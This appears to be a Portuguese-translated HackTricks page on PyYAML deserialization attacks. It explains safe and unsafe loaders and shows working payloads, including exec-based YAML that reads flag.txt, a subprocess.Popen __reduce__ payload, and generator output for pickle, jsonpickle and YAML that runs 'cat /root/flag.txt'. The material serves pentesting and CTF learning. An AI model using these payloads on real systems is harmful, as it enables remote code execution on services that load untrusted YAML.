Python Yaml Deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Yaml Deserialization

Yaml bibliotecas python também são capazes de serializar objetos python e não apenas dados brutos:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Verifique como a tupla não é um tipo de dado bruto e, portanto, foi serializada. E o mesmo aconteceu com o range (retirado dos builtins).

safe_load() ou safe_load_all() usa SafeLoader e não suporta a desserialização de objetos de classe. Exemplo de desserialização de objeto de classe:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

O código anterior usou unsafe_load para carregar a classe python serializada. Isso ocorre porque na versão >= 5.1, não permite desserializar qualquer classe python serializada ou atributo de classe, com Loader não especificado em load() ou Loader=SafeLoader.

Exploração Básica

Exemplo de como executar um sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerável .load("<content>") sem Loader

Versões antigas do pyyaml eram vulneráveis a ataques de deserialização se você não especificasse o Loader ao carregar algo: yaml.load(data)

Você pode encontrar a descrição da vulnerabilidade aqui. O exploit proposto nessa página é:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ou você também poderia usar esta linha única fornecida por @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Note que em versões recentes você não pode mais chamar .load() sem um Loader e o FullLoader não é mais vulnerável a este ataque.

RCE

Payloads personalizados podem ser criados usando módulos Python YAML como PyYAML ou ruamel.yaml. Esses payloads podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Ferramenta para criar Payloads

A ferramenta https://github.com/j0lt-github/python-deserialization-attack-payload-generator pode ser usada para gerar payloads de deserialização em python para abusar de Pickle, PyYAML, jsonpickle e ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referências

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

• https://net-square.com/yaml-deserialization-attack-in-python.html

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.